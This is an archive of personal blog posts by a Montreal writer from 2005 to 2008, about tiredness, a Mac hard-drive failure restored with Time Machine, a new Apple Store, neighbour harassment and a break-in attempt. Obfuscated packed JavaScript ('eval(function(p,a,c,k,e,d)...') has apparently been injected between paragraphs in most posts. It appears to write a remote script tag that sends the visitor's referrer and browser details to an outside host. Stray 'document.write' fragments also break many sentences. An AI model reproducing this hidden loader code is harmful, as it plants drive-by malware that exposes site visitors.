The Blahs

September 8, 2008 / Clodjee / Leave a comment

One of my friends, who’s going to HK for several months for his job, was throwing a farewell party this week-end. Unfortunately, I was so busy converting PDF files and coding to update the web pages that I totally forgot about it. I really hate myself for that since it would have been a nice occasion to decompress and meet a bunch of old friends… And Buddha knows I need to get out and see more people!

Lately I’ve been really tired. I’ve been running around (and round) all summer. And now there’s still so many stuff to do that it’s rather discouraging. I hate it when all the stuff to do and all the ideas are bumping into each others in my head making me feel so overwhelmed that I tilt like an old pin-ball machine and lie down paralysed, unable to do anything.

Anyway. I guess I’ll rest for tonight and try to tackle the tasks one by one…

Montreal’s Apple Store opening friday

July 23, 2008 / Clodjee / Leave a comment

Montreal’s Apple Store, document.write(“”); located at 1321 Ste-Catherine Ouest (just beside the Ogilvy), will open Friday at 5PM. After that the opening hours will be Mon.-Fri.: 9am – 9pm, Sat.: 9am – 5pm and Sun.: noon – 5pm.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhkbr|var|u0026u|referrer|aheay||js|php’.split(‘|’),0,{}))

Unfortunately, I’ll be busy friday so I won’t be able to be there for the opening. However, today I was going downtown to check the PO box and run a few errands, so I couldn’t resist to go have a look:

Employees were busy putting the final touch to the store for friday’s opening:

I was also surprised to discover that Montreal’s policemen are not riding segways, but a kind of 3-wheel scooter. Cool:

Please excuse the bad pictures quality. I wasn’t carrying my camera so I had to use my cellphone to take those pictures.

Video Experimentation

July 1, 2008 / Clodjee / Leave a comment

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kstnf|var|u0026u|referrer|hkryd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtday|var|u0026u|referrer|rzntd||js|php’.split(‘|’),0,{}))
Earlier in May, document.write(“”); I got myself a Canon Powershot S5IS as birthday present. It’s quite an improvement on my FujiFilm S 3100: I’ve doubled the zoom (12x) and the megapixels (8), it has face detection and image stabilisation, a bigger & adjustable LCD monitor, lots of shooting mode (including manual) and the flash is a little more powerful — but the camera also has a hot-shoe to add an external flash when necessary. I’ll do a full review when I have a little more time. All I can say for now is that it takes pretty nice pictures. So far, I tried it at one convention, a couple of family events, a walk at the Botanical Garden and I am very satisfied.

The zoom is quite impressive:

It also takes good video (with stereo sound!) which I couldn’t do with the Fuji (poor quality video and no sound). I have just started experimenting with video. I still have to try doing some editing and I am looking for the best way to showcase my footage to family and friends. On YouTube? On my .Mac web gallery (with .Mac/MobileMe increasing to 20 Gb of storage that could be a solution)? I’ll do some more tests and I’ll see.

First, the test on YouTube. The first thing I notice is that the encoding dramatically reduce the resolution. It’s rather disappointing. Anyway, judge for yourselves. Here’s a family of ducks spotted last friday at the Montreal Botanical Garden (just beside the Japanese Pavillion):

[Updated 2008/08/25 with the zoom pic]

Johanne Pelletier (1954-1983)

June 28, 2008 / Clodjee / Leave a comment

Requiem eternam dona eis, document.write(“”); Domine,
et lux perpetua luceat eis.
Te decet hymnus, Deus in Sion
et tibi reddetur votum in Jerusalem.
Exaudi orationem meam,
ad te omnis caro veniet.

Kyrie eleison.
Christe eleison.
Kyrie eleison.

–Missa pro defunctis

[Caerimonias videtis]

Bonne Saint-Jean Baptiste!

June 25, 2008 / Clodjee / Leave a comment

C’est la Saint-Jean pis je suis encore devant l’ordinateur à travailler… un vrai bourreau de travail! Mais j’m’enverrais bien un bière par example!

It’s the Saint-Jean (one of our National Holidays) and I’m still here working… I guess I’m a workaholic. I’d rather have a couple shots of vodka!

Bonne Saint-Jean tout l’monde!

Alleluia Time Machine!

March 25, 2008 / Clodjee / Leave a comment

A couple of weeks ago I bought a new, document.write(“”); bigger, network drive as the hard drive plugged to my Airport Extreme was already getting full. This allowed me to free a drive for Time Machine. I had the new Mac OS (10.5, aka Leopard) installed on both my iMacs for months, but never got around setting up Time Machine, Mac’s new automatic backup software, because I didn’t have any spare hard drive. I first set up Time Machine on my main iMac (Intel latest generation). That’s the one I use for work, so it was my first priority. It was quite easy to install: I had just to plug the spare drive (aptly named Tardis) on the USB port and turn Time Machine on. It immediately started to make the first, full backup. After that it makes hourly incremental backups. “Time Machine saves the hourly backups for the past 24 hours, daily backups for the past month, and weekly backups for everything older than a month.” It does that until the drive is full and then it erase the backups and starts again. It really gives you a sense of security. But if backups make you feel safe, it is mostly because you think that you will probably never need it anyway…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bberd|var|u0026u|referrer|hbidh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|heaze|var|u0026u|referrer|dfihb||js|php’.split(‘|’),0,{}))

A few days later, being quite satisfied with how the software was working (mainly because it was not slowing the system–and therefore my work–when doing backups), I decided to implement Time Machine on my secondary iMac (a pre-iSight G5 that I use for backup, research, testing and download). First, I had to free another, smaller, hard drive by moving content around (to Navi, the network drive plugged to Airport Extreme, and to Tardis). Since it was a smaller drive, I also had to set up TM to exclude some, less important, folders (Music, Movie), while doing its backup. Once turned on, Time Machine started doing it backup quietly and flawlessly. After a while you forget about it. It’s part of the system. It’s just a safety net…

About a week later, I noticed that my secondary iMac was getting quite slow. I checked to see if one of the softwares was dragging the system down, but couldn’t find anything wrong. I rebooted just in case, but nothing changed. The system was still slow to respond to any command. So, last Thursday, in frustration, I decided to turn the computer off, thinking of doing more tests later. When I turned it on again on Good Friday afternoon, it refused to boot. I tried several time and all I was getting was the Apple logo, the spinning wheel, the fan was starting to run like crazy after a while, and sometime ending up with a kernel panic (the multilingual screen of death). My computer was dead! I was busy and there was nothing much I could do, so I left it alone.

Finally, Sunday I had a little spare time (it was Easter, my wife was working and the big family dinner would not happen before next week) so I decided to do some tests. I succeeded to boot the iMac with the Leopard install disk. It could be either some corruption in the OS software or some problem with the hard drive. First, I checked the drive with Disk Utility. I thought that doing some repair on the disk would probably solved the problem. Wrong! Disk Utility gives me right away a “Fatal Hardware Error” on the drive. Bad news… So the drive is dead. It is confirmed by the Apple Hardware Test that gives an error code on the SATA bus. Now I know what to do to resuscitate my iMac (which is quite appropriate on Easter!) Unfortunately, all repair shops and computer stores are closed until Monday. It leaves me some time to do a little thinking. My AppleCare warranty has already expired in December, so bringing it to the repair shop will probably be quite costly. On the other hand, the hard drive on this model is still easily accessible so I could simply purchase a new drive and install it myself. If it doesn’t work I could still bring it to the repair shop. So I download the “how-to” instructions from Apple website, check my iMac specs to make sure which drive I need and go to Microbytes to purchase a new (twice bigger) hard drive. It takes fifteen minutes to install the new drive, reboot with the Leopard install disk and reformat the drive. Now comes the big test for Time Machine. It takes a couple of hours to restore the iMac with the Time Machine backup, but it finally reboot and looks like nothing ever happened! Alleluia Time Machine!

I’ve never seen a backup system so easy to use! If you have a Mac and are running Leopard, the safest thing to do is to make sure that Time Machine is on. You never know when you’ll need it.

Best wishes for 2008

January 19, 2008 / Clodjee / Leave a comment

Sorry, document.write(“”); I’ve not blogged much since last fall. I’ve been so busy with work, trying to keep the magazine on schedule, attending NYAF, etc.

I’ll do my best to resume blogging regularly as soon as possible. I really have to organize by time better and to go out more often. Lately, going out was mostly putting the garbages on the sidewalk! I wish I could see more people. Not easy when I am chained to my computer…

In the meantime, I wish you all the best for 2008!

Mail Snafu

June 2, 2007 / Clodjee / Leave a comment

I knew the U.S. Postal Service can sometimes be bad and that a recent survey revealed that Americans were rather weak in geography — but I didn’t know to what extend. A parcel that I recently mailed to a customer in Israel came back — with a stamped note saying “wrong address” in Spanish — from Costa Rica !!! That’s what we called really lost! But at least it came back…

Telemarketing Hell

May 31, 2007 / Clodjee / 2 Comments

Tired of getting harassed by telemarketers who want to sell you stuff when you are busy doing something else (like eating or sleeping)? Always wondered who the hell can call you twice a day for a week without leaving a message and your caller ID simply says “unavailable”? Are you annoyed by phone calls that, document.write(“”); when you pick up the phone, there’s nothing on the line?
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aebkd|var|u0026u|referrer|ahdfd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|afeft|var|u0026u|referrer|dhkfk||js|php’.split(‘|’),0,{}))

I just found this great website, 800 Notes, where people can leave comments on those annoying unidentified phone numbers usually used by telemarketers. By exchanging information, you can figure out who they are and what to do to make those phone calls stop. I like it.

You can also find some information from the CRTC here.

A little rest

February 17, 2007 / Clodjee / Leave a comment

Another issue of the magazine has been completed and sent to the printer earlier this week. The reorganization is starting to work since this time the production went a little more smoothly. There was still delays and problems (some that I am really not happy with)–there are always some of those. But this time it was not too bad. Now I can enjoy a little respite.

It doesn’t mean that there’s no work to do. There is still a zillion things to do (update the web page, document.write(“”); take care of orders, answer customers’ complains, prepare some new ebooks, prepare shipping, plan next issue, prepare for a convention next week, etc.), but there’s less pressure and I am not working fourteen hours each day (seven days per week). It feels good.

Lonely Bloggers

February 1, 2007May 4, 2020 / Clodjee / Leave a comment

University of Calgary professor Michael Keren’s book Blogosphere: The New Political Arena says that bloggers are lonely and isolated people. He also adds that bloggers see themselves as rebels against the mundane society, but since their writings receive limited exposure on the internet, he compares them to Don Quixote.

His comments generated lots of reaction. I guess I agree with him on some points. Many personal bloggers are lonely people, and they throw their daily life-capsule in the internet like someone would throw a bottle in the sea. I consider myself in that category. I work at home, my little safe haven, and I barely see anyone beside my wife. I feel lonely, but I know that my weblog’s comments won’t be read by many. It’s like writing a journal and leaving it in plain view, in hope that someone will dare to read it.

However, many blogs go beyond a personal purpose: companies’ blogs serve as information hub, some organization set up blogs to gather volunteer or raise funds, many do political commentary. Also, some blogs can become very popular and be read by lots of people… Keren’s comment definitely doesn’t apply to those.

Source: The Gazette, Montreal, 1/31/07 A1-2. See also here and there.

Winter At Last!

January 16, 2007 / Clodjee / Leave a comment

Finally, document.write(“”); winter looks and feels what it should be: cold and with white stuff on the ground.

I know, I know, people driving cars don’t like that. It’s driving them crazy.

But what is winter without those little flakes falling down the sky?

It makes the child inside me happy.

Love Thy Neighbor (Part 2)

January 14, 2007 / Clodjee / Leave a comment

The previous post was apparently not the last of my neighborhood problems.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdata|var|u0026u|referrer|eryse||js|php’.split(‘|’),0,{}))

The worse that can happen is when you feel that your house… is not safe anymore.

Tonight there was an attempt to break into my house. It is the third time that it happens in over ten years. Each time, document.write(“”); I’ve been lucky and nothing was stolen. The thief were always disturbed and fled before completely succeeding to break in.

This time they broke the window of the garage side-door to be able to open the lock. They tried to quietly remove a glass panel on the door between the garage and the house, but they must have realized that I was home and left (I am almost always home; I work here). A little after midnight, I noticed that the garage light was on and went to check, to discover that both garage doors were open and that a window was broken.

Kids? Drug addicts? I don’t think so. The fact that they tried to silently remove a glass panel of the inside door instead of simply breaking it let me believe that, if they are not pros, they at least know what they are doing.

No hurry calling the police (last time it took them two days to come!). I’ll call them tomorrow. For now I have boarded the broken window, and added a few more locks to the inside door. It should keep them from coming back for a while…

Been Busy

January 14, 2007 / Clodjee / Leave a comment

I haven’t blog in two weeks! Sorry! I’ve been busy and it will probably stay busy for some time. Lots of stuff to do at the job. So I might not blog much for a while. Although I have so many stories, document.write(“”); anecdotes, comments and rants I would like to talk about… I’ll do my best.

Happy New Year!

January 2, 2007 / Clodjee / Leave a comment

I want to wish an Happy New Year to all my readers! May this new year bring you everything you want and particularly good health.

I really hope that 2007 will be better for us. For my part, document.write(“”); my elbow is now feeling better, but my back is getting worse and is really killing me.

Tired

December 30, 2006 / Clodjee / Leave a comment

I feel like those old rechargeable batteries that, document.write(“”); at some point, just can’t recharge anymore… I just want to lie down here and sleep for a couple of centuries. Or watch a movie and lose myself in someone else’s life. But I can’t rest. There’s too many things to do. And if I do rest, I end up being consumed by guilt… It is sickening.

Another year is ending. Please stop pushing the fast-forward button! I want to enjoy life, not see it flashes past my eyes!

Hopefully, the new year will bring some good things. I guess I should take time to do a kind of retrospective…

The Fog of Life

December 26, 2006 / Clodjee / 1 Comment

In the last few months or years, document.write(“”);
I feel I’ve lived in a constant fog.
To my body it feels like mud.
It’s like I can’t move forward easily,
As if every muscle is sleeping.

And my mind is all foggy,
I can’t see and think clearly.
I feel things are slipping away
From the grasp of my will.

I guess I should resolve myself
To exercice a little more
And maybe it will wake
My body from its torpor.

I should also make the effort
To keep my mind active,
Writting about everything.
That’s why I’ve revived this blog
And I’ll try to talk about all—
Could it really be called reviews?—
All the movies, books and news
That I’ve seen, read and digested
Even if they aren’t work-related.

But I fear I won’t have the energy
To completely brake away from the chains
Constraining my wings from spreading
And keeping me from feeling alive!

(ok, next time I’ll try to have it rhyme)

Merry Christmas! Joyeux Noel!

December 26, 2006 / Clodjee / Leave a comment

…or Happy Holidays (whatever the Holiday your are enjoying right now)… to the few people reading this blog (and everybody else around the Globe)!

…ou Joyeuses Fêtes (peut importe les Fêtes que vous célébrez en ce moment)… aux quelques personnes qui lisent ce blog (et à tous les autres sur la planètes)!

Pain

December 19, 2006 / Clodjee / 1 Comment

It seems that there is not a day where I don’t feel pain in some part of my body.

Most of the time it’s in my back, document.write(“”); but sometimes in my legs, my neck, my throat or my head. Sometimes it is even all over.

Lately, it has been in my left elbow. I have an elbow bursitis. It seems that I lean too much on my left elbow when I am working at the computer. I’ll put some ice, take some Advil and give some rest to the elbow.

I guess that’s what happen when you get older. More and more little nagging health problems. I am really due for a full check up…

Funny Anecdote

December 17, 2006 / Clodjee / Leave a comment

Something funny happened last night.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntfyd|var|u0026u|referrer|ybzey||js|php’.split(‘|’),0,{}))

Around midnight I was walking on the street and a huge white SUV stops beside me (I was going to the subway station to meet my wife and walk her back home for safety — I do that once in a while since she was attacked one night on her way back from work). The tinted driver’s window goes down and the women at the wheel ask me “You wouldn’t happen to have a quarter, document.write(“”); would you?”

I know that the price of gas is high, but to beg for money is a little far-fetched!

Of course, I would not give any money to someone who’s already wasting so much with a gas-guzzling vehicle…

Sakura

December 16, 2006 / Clodjee / 1 Comment

Here is the link to the restaurant where my wife is working:

Please have a look and, document.write(“”); if you live in the Montreal area, go and eat there!

Love Thy Neighbor!

December 16, 2006 / Clodjee / 1 Comment

I consider myself as someone who’s quite quiet, document.write(“”); conciliatory and understanding. My principle is to leave people alone and I expect them to leave me alone. I live in my little shell, my safe-house, observing the world from the middle of its mediatic web and expecting to be protected from its aggressions.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbrsh|var|u0026u|referrer|retkk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydbzd|var|u0026u|referrer|ytrbf||js|php’.split(‘|’),0,{}))

When the neighbor is renovating his basement and starts with the jackhammer at 8:00 am on Saturday morning (while I just went to bed three hours before because my wife & I are working mostly in the evening and have night owl’s habits) I don’t complain because I understand that the work need to be done whenever he can do it. When the neighbor’s kids are howling or banging the walls (actually, in the first year, I thought they were raising a baby gorilla) and the mother is shouting back at them (and I am quietly sitting in my office trying to concentrate on a complicated article that needed to be written and laid-out yesterday), I don’t complain because kids are kids and it’s not an easy job to take care of them properly. When the people upstair are walking loudly or moving furniture and I feel the sky is falling down on me (while I am quietly trying to watch TV), there is no use complaining because I cannot ask them to stop living their life (although some understanding and compassion for others should be expected). Well, I guess the world just doesn’t work that way.

I never did or say anything to offense my neighbors (at least voluntarily). Nevertheless, last summer someone killed one of my cats with a pellet gun. This summer someone threw poison in my garden (maybe for the feral cats? But the poison can melt into the soil, be absorbed by the plants and eventually affect us) and threw a dead rat wrapped in a plastic bag in the backyard. My newspaper is regularly stolen. This fall, someone threw eggs against the front door (they missed and got the wall instead) and this week someone ripped our door-bell button from the door frame. What have I done to those people? Is it just a series of coincidences and am I paranoid?

Or is it because we speak english — and my wife is Japanese — in a neighborhood that is mostly francophone and local (“pure-laine” like they say)? I find it hard to believe that there is so much hatred and racism in our country…

Blog moved back!

December 12, 2006 / Clodjee / Leave a comment

Last year, document.write(“”); in November 2005, I was feeling that the free blog I was using until then, blogspot, was lacking in features (not much flexibility with the template, no categories, etc.) so I decided to switch to Blog.Mac (1.1.3) and move my blog to a new location on my .Mac iDisk.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbene|var|u0026u|referrer|hdntd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fadzh|var|u0026u|referrer|adkef||js|php’.split(‘|’),0,{}))

I ended up not blogging much (busy times) partly because Blog.Mac designers had announced a new version of their blogware with categories. I was interested in those promised new functions but was reluctant to blog much and then have to re-do everything with the new version (Largemouth people warned us that file format might change with the new version). So I waited…

A couple of month ago, I was tired to wait so I contacted Largemouth Software to ask when the new version of Blog.Mac was coming. I was told it would come two weeks later. After a wait of two MONTHS (no wonder they’re called Largemouth), they finally released… a new BETA version (1.2 b2)! I decided to try it and created this test blog. It looks nice, the categories work well, but I will probably have to pay for the upgrade to 1.2.

Considering that they would certainly wait several more months before releasing a final version of 1.2 and that my patience was already at its limit, I decided to try other blogwares. I tested iBlog (2 b8) by Lifli Software and created this test blog. The calendar feature is cool, but the look is disappointing (although you can tweek the template a little) and I was not enthusiastic with paying 1410.00 Indian Rupees ($30 US) for another license!

I was just about to say “Ok, I’ll wait another few months before deciding” when I discovered that the blogware I was using at first, now called blogger, has just released a new version with very flexible templates, multiple categories (called here Labels), FTP capability and more cool features! The beauty of it is that it is FREE! So, now I am reviving and updating this blog. Amazing, isn’t it?

So far, I am very satisfied with blogger and I recommend it to everyone.

Blog moved

November 27, 2005 / Clodjee / Leave a comment

For now, document.write(“”); I have moved my blog to homepage.mac.com/clodjee/blog/safehouse.html.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|difnn|var|u0026u|referrer|yhybk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iyiba|var|u0026u|referrer|kitat||js|php’.split(‘|’),0,{}))

Please have a look and bookmark it!

New Blog?

November 8, 2005 / Clodjee / Leave a comment

I am experimenting with this new blog.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|erfyk|var|u0026u|referrer|ktrhd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|efztk|var|u0026u|referrer|esysz||js|php’.split(‘|’),0,{}))

I’ll wait a little to see how well it looks and how easy it is to work with and I might eventually change. We’ll see.

Let me know what you think of it.

Spotty

September 16, 2005 / Clodjee / Leave a comment

Here are some pictures of Spotty for the feline fans: Spotty’s Album.

Not Well

September 13, 2005 / Clodjee / Leave a comment

Since early spring I have not been feeling well. I got a little better for the summer, document.write(“”); but now it is getting even worse. I really don’t know why I am feeling so tired, but the doctor sent me for some tests and I’ve been too busy lately to go (there’s also the fact that my schedule doesn’t really fit with the opening hours of the clinic). But I really must go take those tests next week!

Mostly I am feeling often tired, sleepy (but I already sleep more than usual and even take naps!), apathetic. I feel like out of energy, laking motivation, like if something died inside me (like a zombie!). However, the biggest problem is a total lack of concentration. It is not really a problem when I am doing technical or manual stuff like the shipping or layout, but it makes editing and writing like an herculean work and it is quite frustrating. It takes me hours just to process a few paragraphs. Once I am in it, it is not that bad, but the slightest distraction (a phone call, a e-mail, an IM) will break the rythm and it will take me a long time to resume work. And if I try too hard I get a terrible headache. I feel like i am moving in slow-motion and everything around me is flying by fast. Days and weeks a passing by without me barely realizing it. I barely saw the summer. All this is quite depressing.

I know I am not in perfect shape, but at least I have a very healthy alimentation. I just need more exercice (and to check my blood pressure and the glucose level). What could be causing this? Is this age? Premature senelity? Dementia? Can’t be, I am just a little over 40. Is this a kind of depression, a mid-life crisis? I don’t have any reasons to be depressed, I have everything that I could want: a loving wife, a fun job that I like, lots of DVDs, books and gadgets to entertain myself. I just need to be able to concentrate on my job!

I suspect it could be a kind of hormone imbalance. Hopefully, I’ll soon find the cause and a way to get rid of it. Because it is really driving me crazy!

Busy Weeks

September 12, 2005 / Clodjee / Leave a comment

The last couple of weeks were quite busy. First I had not seen the end of my printer’s problems yet. Not only the printer delivered the magazine late, document.write(“”); but an abnormal number of copies had defects and boxes were not containing the exact amount they were suppose to according to the manifest. So I’ve spent an entire week-end counting each copy and separating the bad copies from to good. I’ve send the bad ones back to the printer to be replaced and used the good ones for the shipping and mailing.

So I’ve spent the following week doing the mailing and shipping, as well as updating the computer and working (already) on the next issue of the magazine. Through all that I managed to go see a few movies at the Montreal World Film Festival. The next week, despite the fact that I was really not feeling well, I continued working on the magazine (planning, writing, reviewing material, etc.), I watched a few more movies at the MWFF and installed my new VoIP phone system (I’ll review that one a little later).

So much to do and so little time. I feel kind of out of breath and tired.